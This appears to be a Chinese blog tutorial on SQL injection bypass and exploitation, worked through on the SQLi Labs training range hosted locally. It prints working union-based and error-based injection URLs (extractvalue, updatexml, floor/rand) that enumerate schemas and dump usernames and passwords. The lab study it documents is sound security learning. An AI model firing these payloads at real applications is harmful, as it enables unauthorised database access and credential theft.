【web安全】SQL注入漏洞2--绕过与利用

引言

上一篇我们讲了寻找SQL漏洞的思路,主要有黑白盒两种方式。这篇文章我再研究一下绕过SQL注入的绕过与利用。 我们都知道,不同的开发者, 对于安全认识程度也可能不一样,有的开发者可能没有对输入做过滤直接拼接,也有的开发者可能做了一定的过滤但是不全面,这些问题隐患都有可能造成安全风险。

为了学习SQL注入的绕过,我们将会练习SQL注入的靶场并选择几个典型的例子进行分享。

靶场搭建

主要参考文档:
https://www.modb.pro/db/231543

这里我使用的靶机环境是SQLi Labs, 这个平台专注于SQL注入的学习,并且涉及的题目量与知识点比较多,因此果断选择这个平台用来学习。

靶场的搭建也是比较简单,主要是下载SQLi Labs 的源码, 然后使用phpStudy 学习平台来运行即可。

  • 在https://github.com/Audi-1/sqli-labs 下载源码地址
  • 源码解压后拷贝到phpstudy 的WWW路径下, 修改sqli-labs里的配置文件
  • 启动phpstudy 以及对应的web服务, 注意PHP版本要使用5.* 版本,否则会出错。

然后,然后就可以愉快的玩耍了。

SQL注入前置知识点

SQL注入有哪些分类呢?

  • 按注入点进行分类
    数字型注入点
    字符型注入点
    搜索型注入点: 其实就是sql语句包含类似 like ‘%关键字%’ 这样的特征

  • 按数据提交方式分类
    GET注入
    POST注入
    Cookie注入
    Http头注入

  • 按照执行效果分类
    (1)基于布尔的盲注:即可以根据返回页面判断条件真假的注入。
    (2)基于时间的盲注:即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
    (3)基于报错注入:即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
    (4)联合查询注入:可以使用union的情况下的注入。
    (5)堆查询注入:可以同时执行多条语句的注入。
    (6)宽字节注入:利用gbk是多字节的编码,两个字节代表一个汉字

在练习注入过程中,发现了一些奇怪的sql语句,不搞懂这些,就很难弄明白这个注入是咋实现的。 因此,在这里介绍一下。

  • order by 数字
    表示按照第几个字段来排序, 可以用这个语句来探测一下某个表里有几个字段。

  • mysql的注释。
    巧妙的利用注释可以实现sql注入。

mysql 的注释有4种:
“#”  : # 开头到行尾的都为注释,只能注释一行
  “-- ” (2个减号 一个空格) : -- 开头到行尾都为注释 , 只能注释一行
 “/*   xxx */"   :  可以注释多行,但是一定要闭合,不然出错
  ”/*!  数字    代码  */"  :  可以跨行注释,但是一定要闭合,不然出错。
  • mysql 注入中的 --+可以用来在注入中起到注释的作用。
    其中的-- 表示注释,+可以转化为空格,这是因为某些http请求实现过程中+发送到服务端后会被转化成空格,这里也可以使用空格的url编码%20。其实也可以使用--空格 任意字符这样的方式起到注释的作用。

  • 如何让数据库产生错误并外带出数据库信息
    方法一:使用 floor , rand(), count(*) , group by 组合的方式配合完成错误注入

select count(*),(floor(rand(0)*2))x from information_schema.schemata group by x;

我们可以通过这个语句来触发主键冗余错误,具体原理可以查询一下哦。
不过,这个方法看起来比较麻烦,不利于快速实践,因此一般使用下面的方法二

方法二:extractvalue()

extractvalue() :对XML文档进行查询的函数
其实就是相当于我们熟悉的HTML文件中用 <div><p><a>标签查找元素一样
语法:extractvalue(目标xml文档,xml路径)
如果第二个参数不是规定的类型, 那么报错就会带出信息,注入时在第一个参数处写入任意字符,在第二个参数处写入concat(1,payload)即可。(这里的1也可以是其他字符, 只要保证不是合法的输入类型即可)
有一点需要注意,extractvalue()能查询字符串的最大长度为32,就是说如果我们想要的结果超过32,就需要用substring()函数截取,一次查看32位
这里举个例子,查询前5位字符信息:
select username from security.user where id=1 and (extractvalue(‘anything’,concat(#’,substring(hex((select database())),1,5))))

方法三: updatexml()
与extractvalue()函数类似,这里在传入三个参数,在第三个参数上写上任意字符,其余与上一个函数使用方法相同。

靶场练习

  • 题目1(基于错误的GET单引号字符型注入)
http://127.0.0.1/Less-1/?id=-1'

触发了sql 语法报错,找到注入点。

http://127.0.0.1/Less-1/?id=-1' order by 4 --+

尝试出表的列数

http://127.0.0.1/Less-1/?id=-1' union select 1,2,3 --+

id = -1 使得条件不成立

http://127.0.0.1/Less-1/?id=-1' union select 1,2,database() --+

查询数据库对应的库名

http://127.0.0.1/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

查询数据库里有哪些表信息, 结果看到了一个user表。

http://127.0.0.1/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

查看一下user表有哪几个字段, 结果看到了我们关注的user字段和password字段。

http://127.0.0.1/Less-1/?id=-1' union select 1,2,group_concat(username) from security.users--+
http://127.0.0.1/Less-1/?id=-1' union select 1,2,group_concat(password) from security.users--+

获取对应的用户和密码。

  • 题目二
http://127.0.0.1:81/Less-2?id=1 and 1=1 --+

由于传入参数是数字类型, 就不需要’来闭合了。

  • 题目三
    这一关使用 ’)来闭合我们来看看源代码
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

我们看到,由于代码中有使用括号,我们要添加对应的括号闭合。

  • 题目四
    这一关使用")闭合,其余注入方式没有区别

  • 题目五
    这里,我们开始接触基于报错的sql注入。我们查看源代码可以发现,注入的sql,显示不出来了, 那么我们就无法获取信息。难道没有办法了吗, 其实,我摸可以人为的引起数据库的报错,但是数据库报错的同时也会把查询结果呈现在报错中

使用floor方式

select count(*),(floor(rand(0)*2))x from information_schema.schemata group by x;
获取库名
http://127.0.0.1/Less-5/?id=1' union select 1,count(*),concat((select database()),floor(rand(0)*2))a from information_schema.tables group by a --+
获取表名
http://127.0.0.1/Less-5/?id=1' union select 1,count(*),concat((select (select group_concat(table_name) from information_schema.tables where table_schema='security')),floor(rand(0)*2))a from information_schema.tables group by a--+

使用extractvalue()函数报错

http://127.0.0.1/Less-5/?id=1' and (extractvalue(1,concat(1,(select database()))))  --+

使用updatexml() 函数报错

http://127.0.0.1/Less-5/?id=1'  and updatexml(1,concat(1,(select database())),1)  --+

小结

本文简单介绍了sqli labs 中的SQL注入绕过与利用方式。当然,SQL注入还有其他几个高级的方法,本文涉及到的也只是包括联合查询注入和 报错注入。这是较为基础的方式,其他的方式可以在需要用到的时候,继续研究一下。本文主要介绍了人工做SQL注入方法,当然,也有专门用于SQL注入的自动化攻击,提升攻击的效率。下面一篇文章中,我将会介绍一款在SQL注入中常常会用到的工具sqlmap,

参考资料:
https://blog.csdn.net/qq_41755084/article/details/127229077
https://www.sqlsec.com/2020/05/sqlilabs.html

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值